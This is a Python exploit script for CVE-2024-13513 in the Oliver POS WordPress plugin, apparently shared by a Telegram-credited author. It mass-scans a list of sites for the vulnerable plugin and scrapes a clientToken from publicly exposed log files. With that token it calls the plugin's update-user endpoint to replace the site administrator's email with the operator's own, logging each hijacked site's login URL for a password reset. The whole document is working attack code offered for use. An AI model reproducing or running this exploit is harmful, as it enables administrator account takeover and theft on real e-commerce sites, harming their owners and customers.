#!/usr/bin/env python3 # -*- coding: utf-8 -* from bs4 import BeautifulSoup from re import findall from argparse import ArgumentParser from random import getrandbits from concurrent.futures import ThreadPoolExecutor from threading import Lock from requests import Session __import__('warnings').simplefilter('ignore',Warning) class CVE_2024_13513: def Save(self, file, data): with self.Lock: with open(file, 'a') as f: f.write(f"{data}\n") def LogFiles(self, html, url): try: soup = BeautifulSoup(html, 'html.parser') urls = [] for link in soup.find_all('a'): href = link.get('href') if href not in ['../', './']: urls.append(f"{url}{href}") return urls except: return False def GetclientToken(self, url): log_url = f"{url}wp-content/plugins/oliver-pos/log/" try: r = self.session.get(log_url) if r.status_code == 200: if logs := self.LogFiles(r.text, log_url): for log in logs: r = self.session.get(log).text try: if client_token := findall(r'clientToken\s*=\s*([a-fA-F0-9]+)', r)[0]: return client_token except: continue except: pass return None def Exploit(self, url): if token := self.GetclientToken(url): data = { "email": email, "id":"1" } r = self.session.post(f"{url}wp-json/pos-bridge/update-user/", data=data, headers={"oliverauth":token} ).text if '"id":1' in r and email in r: print(f" [ LOG ] (EMAIL CHANGED) {url} | {email}") return self.Save("email_changed_reset_password.txt", f"{url}wp-login.php:{email}") print(f" [ LOG ] (NOT EXPLOITED) {url}") def Scan(self, url): url = f"{'http://' if not url.lower().startswith(('http://', 'https://')) else ''}{url}{'/' if not url.endswith('/') else ''}" print(f" [ LOG ] (CHECKING) {url}") try: r = self.session.get(f"{url}wp-content/plugins/oliver-pos/readme.txt").text if 'Oliver POS is a WooCommerce Point of Sale' in r and "= 2.4.2.4" not in r: print(f" [ LOG ] (VULN) {url}") self.Save("__vuln__.txt", url) return self.Exploit(url) print(f" [ LOG ] (NOT VULN) {url}") except: print(f" [LOG] EXCEPTION ERROR ({url})") def __init__(self, Lock): self.Lock = Lock self.session = Session() self.session.verify = False self.session.timeout = (20,40) self.session.allow_redirects = True self.session.max_redirects = 5 self.session.headers.update({"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"}) if __name__ == '__main__': print(''' db d8b db d8888b. d88888b db db d8888b. 88 I8I 88 88 `8D 88' `8b d8' 88 `8D 88 I8I 88 88oodD' 88ooooo `8bd8' 88oodD' Y8 I8I 88 88~~~ 88~~~~~ .dPYb. 88~~~ `8b d8'8b d8' 88 88. .8P Y8. 88 `8b8' `8d8' 88 Y88888P YP YP 88 TG: @KtN_1990 ''') parser = ArgumentParser() parser.add_argument('-l', '--list', help="Path of list site", required=True) parser.add_argument('-e', '--email', help="Your Email Address", required=True) parser.add_argument('-t', '--threads', type=int, help="threads number", default=100) args = parser.parse_args() try: with open(args.list, 'r') as f: urls = list(set(f.read().splitlines())) email = args.email ExpObj = CVE_2024_13513(Lock()) with ThreadPoolExecutor(max_workers=int(args.threads)) as pool: [pool.submit(ExpObj.Scan, url) for url in urls] except Exception as e: print(e) print(" [LOG] EXCEPTION ERROR @ MAIN FUNC")